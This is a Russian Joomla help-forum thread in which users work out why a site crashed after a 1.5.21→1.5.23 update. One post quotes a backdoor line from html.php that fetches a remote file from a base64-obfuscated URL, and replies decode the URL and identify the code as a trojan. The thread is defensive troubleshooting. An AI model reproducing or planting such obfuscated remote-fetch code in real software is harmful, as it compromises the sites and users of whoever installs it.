Новости Joomla

👩‍💻 Уязвимости в компоненте календаря событий DPCalendar.

👩‍💻 Уязвимости в компоненте календаря событий DPCalendar.

12 июля 2026 года команда Digital Peak получила сообщение о серьезной уязвимости в компоненте календаря событий DPCalendar, которая может привести к несанкционированному доступу к данным, хранящимся в базе данных Joomla.
Уязвимость доступна только для чтения, она не позволяет злоумышленнику изменять или обновлять какие-либо данные.
Поскольку проблема была классифицирована как серьезная, разработчики настоятельно рекомендуют немедленно обновить ваш установленный DPCalendar либо с помощью менеджера обновлений Joomla, либо вручную, загрузив последнюю версию отсюда, или, если вы используете Joomla 3.x, то отсюда. Полную запись в блоге об этой проблеме можно найти по этой ссылке.

@joomlafeed

Вышли релизы безопасности Joomla 6.1.2 и Joomla 5.4.7

Релиз безопасности Joomla 6.1.2 и Joomla 5.4.7

Проект Joomla! рад сообщить о выходе Joomla 6.1.2 и Joomla 5.4.7. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

NorrCompetition 3.0 — новые возможности компонента конкурсов и голосований для Joomla 6

Релиз NorrCompetition 3.0 — крупное обновление расширения для проведения конкурсов и голосований в Joomla.

1   Вниз
0 Пользователей и 1 Гость просматривают эту тему.
  • 20 Ответов
  • 6348 Просмотров
*

persey01

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« : 21.05.2011, 23:15:40 »
Fatal error: Call to undefined method JFactory::getB() in /home/virtwww/w_kvshu39d91_28fdf21b/http/libraries/joomla/document/html/html.php on line 521

http://www.kvshu39.ru/

ни в админку ни куда.

Жду предложений.

Есть бекапы, но сейчас выяснилось, что они битые, т.к. было бы просто заменить файлы на старые, ан не поучилось...
« Последнее редактирование: 21.05.2011, 23:22:14 от persey01 »
Записан
*

persey01

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #1 : 21.05.2011, 23:31:34 »
Тема закрыта, удалось откатить до 21.

но ,все в чем могла быть трамбла ?
Записан
*

SDKiller

  • Живу я здесь
  • 2705
  • 329 / 5
  • ...ergo sum
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #2 : 21.05.2011, 23:38:40 »
Трабла видимо в Вашем пакете обновления, не знаю откуда он, но в Factory нет функции getB(),
а в libraries/joomla/document/html/html.php нет 521 строки
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #3 : 01.04.2012, 00:38:27 »
Подниму тему. Все началось с того, что захотелось обновить Joomla c 1.5.21 до 2.5.х
Использовала jupgrade -глючит. Подумалось, что возможно причина в том, что обновляться надо с 1.5.25, в инете вычитала. Решила поэтапно обновляться, и после обновления до 1.5.23 выдало в этой злополучной 521 строке ошибку
Есть такая строка, вот она
$ver = $content->fetch_remote_file(JFactory::getB('b3RrYXRzLnJ1L3dwLWFkbWluL2ppbS5waHA/cmVmPQ==').$jsite->_host.'&d='.$jsite->_path);
эта строка не в пакете обновления, она есть изначально в моей 1.5.21.
Подскажите, как обновиться?
Записан
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #4 : 01.04.2012, 01:08:30 »
Нет 521 строки не надо ля ля

Joomla! 1.5.21 Released

а этот кусок  
Цитировать
b3RrYXRzLnJ1L3dwLWFkbWluL2ppbS5waHA/cmVmPQ
 выглядит так
Цитировать
otkats.ru/wp-admin/jim.php?ref

http://otkats.ru/ это ваш сайт ?
« Последнее редактирование: 01.04.2012, 01:21:02 от oriol »
Записан
*

nixsystem

  • Захожу иногда
  • 207
  • 10 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #5 : 01.04.2012, 01:21:47 »
У вас что-то стороннее находится в этом файле. Шифрованный текст похож на base64, о напрямую не декодируется, наверное есть еще какая-то заковыка так. Судя по окружающему коду - происходит вызов файла со стороннего сайта, его подключение и выполнение. Как минимум очень похоже на backdoor или троянца,судя по тому как скрыт адрес подключаемого файла.

Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #6 : 01.04.2012, 10:58:37 »
 :o нифига себе
Цитировать
http://otkats.ru/ это ваш сайт ?
нет не мой ....
на работающем сайте ничего странного не замечала ...
сейчас проверила старинный вариант сайта, который был только на локалке, на хостинг его не выкладывала, там тоже есть эти строки. Получается все это было в изначальном архиве Joomla. Сначала был 1.5, потом обновилась до 1.5.21 только не помню уже откуда архивы брала, давно это было....
Будьте добры, подкиньте реальный файл, я сравню с тем что есть у меня.
Блин, что ж мне делать то?
Записан
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #7 : 01.04.2012, 11:11:11 »
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #8 : 01.04.2012, 11:32:50 »
wishlight , как?

я так поняла, что ссылка на Joomla 2.5, меня в данный момент интересует 1.5
« Последнее редактирование: 01.04.2012, 11:36:57 от mmik »
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #9 : 01.04.2012, 11:52:09 »
Скачала архив 1.5.25 с официального сайта. Закинула в свой сайт пакеты обновления 1.5.21->1.5.23->1.5.24->1.5.25 и после этого просто скопировала файл libraries/joomla/document/html/html.php из скаченного архива. Работает.
Эта гадость может быть еще где нибудь?
Записан
*

eclipseggg

  • Захожу иногда
  • 410
  • 32 / 2
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #10 : 01.04.2012, 11:58:13 »
это означает что дистрибутив скачивать надо только с офф сайта
подобные гадости обычно запихивают в шаблон
открыв исходный код сделайте поиск "http" на странице чтобы убедися что все ссылки что есть только ваши...
Записан
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #11 : 01.04.2012, 12:00:13 »
Извиняюсь.

Спойлер
[свернуть]

Может и быть. Советую проверить.

http://joomlaforum.ru/index.php/topic,198048.0.html
Записан
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #12 : 01.04.2012, 14:02:29 »
Цитата: mmik от 01.04.2012, 11:52:09
Скачала архив 1.5.25 с официального сайта. Закинула в свой сайт пакеты обновления 1.5.21->1.5.23->1.5.24->1.5.25 и после этого просто скопировала файл libraries/joomla/document/html/html.php из скаченного архива. Работает.
Эта гадость может быть еще где нибудь?

Делай бекап
Бери дистрибутив 1.5.26 и леи поверх своего с заменой файлов  кроме папки инсталляции и файла конфигурации, ну и шаблоны можешь не лить (кроме системного),
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #13 : 02.04.2012, 22:13:07 »
Цитировать
и леи поверх своего с заменой файлов
да, уже сделала так правда с дистрибутивом 1.5.25, только не могу быть уверена, что все в порядке.
wishlight, сходила по ссылочке, скачала, запустила, ничего не поняла, выдает кучу предупреждений в самом фале php
Записан
*

nixsystem

  • Захожу иногда
  • 207
  • 10 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #14 : 02.04.2012, 22:23:50 »
Выкладывай сюда, под спойлер, все то что тебе выдает скрипт. Так больше вероятность что помогут советом.
Записан
*

SDKiller

  • Живу я здесь
  • 2705
  • 329 / 5
  • ...ergo sum
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #15 : 02.04.2012, 22:28:03 »
Цитата: mmik от 02.04.2012, 22:13:07
... выдает кучу предупреждений в самом фале php

А потому что там есть массив исключений, куда внесён файл скрипта, но далее этот массив нигде не используется - вот он и сканирует сам себя )

Код
только не могу быть уверена, что все в порядке

А взять всё с оф.сайтов и поставить начисто трудоёмко?
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #16 : 02.04.2012, 22:41:26 »
За вычетом всех предупреждений, вот:
Спойлер
[свернуть]

Сделать заново - будут потеряны все ссылки. Форум всяко надо сохранять.
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #17 : 02.04.2012, 22:43:18 »
это бекап сайта с хостинга, с положенным сверху 1.5.25
Записан
*

nixsystem

  • Захожу иногда
  • 207
  • 10 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #18 : 03.04.2012, 05:49:28 »
Судя по тому что выдает скрипт проверки - ничего криминального нет.
Но так же скрипт говорит что не уложился в  30 секунд (в чем нет ничего удивительного, файлов то много), отсюда совет - выставьте в php.ini max execution time равное хотябы паре-тройке минут, и снова запустите проверку.
Но то что обновление заменой файлов ни к чему хорошему не приводит - по меньшей мере странно..
Записан
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #19 : 03.04.2012, 08:22:46 »
На хостинге попробуйте.
« Последнее редактирование: 03.04.2012, 08:26:16 от wishlight »
Записан
*

mmik

  • Осваиваюсь на форуме
  • 29
  • 0 / 0
Re: После обновления с 1.5.21 до 1.5.23 сайт лег (Fatal error:)
« Ответ #20 : 03.04.2012, 09:23:59 »
Да, пожалуй надо посмотреть что у меня на хостинге....
Цитата: nixsystem от 03.04.2012, 05:49:28
Но то что обновление заменой файлов ни к чему хорошему не приводит - по меньшей мере странно..
не поняла, файлы заменила, вроде бы неплохо все, ну или я не знаю, что плохо.
Еще, на хостинге каким папкам какие права доступа нужно дать? Я  запуталась уже. Читала, что папке images 777 не давать, но тогда я и сама туда картинки не закину. У меня еще форум kunena установлен, если в media/kunena/attachments папочкам не дать 777 юзеры не могут картинки вставлять на форум. Сейчас еще есть проблема, что при вставке картинок пишет переименование не удалось, значит опять где-то что-то запрещено. Может быть описано все где-то? Почитаю. Хотелось бы и сайт защитить и юзерам не навредить.
Записан
1   Вверх
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Восстановить сайт, но на другой адрес

Автор Escander

 Ответов: 14
Просмотров: 4345 		Последний ответ 02.02.2022, 14:50:07
от draff
Как перенести сайт с сервера на сервер? (с хостинга на локалку и наоборот)

Автор djed9

 Ответов: 244
Просмотров: 142096 		Последний ответ 06.07.2020, 23:28:32
от SeBun
Как проверить сайт на накрутку просмотров?

Автор mimoza

 Ответов: 3
Просмотров: 4927 		Последний ответ 17.12.2017, 16:33:43
от zikkuratvk
Ошибка после восстановления сайта из резервной копии

Автор Роман1974

 Ответов: 9
Просмотров: 9214 		Последний ответ 18.05.2017, 15:15:40
от Igoritaly
[Решено] Как обновить Joomla 1.5 (версии, способы обновления и т.д.)

Автор Danka

 Ответов: 45
Просмотров: 201420 		Последний ответ 06.04.2017, 12:14:12
от SeBun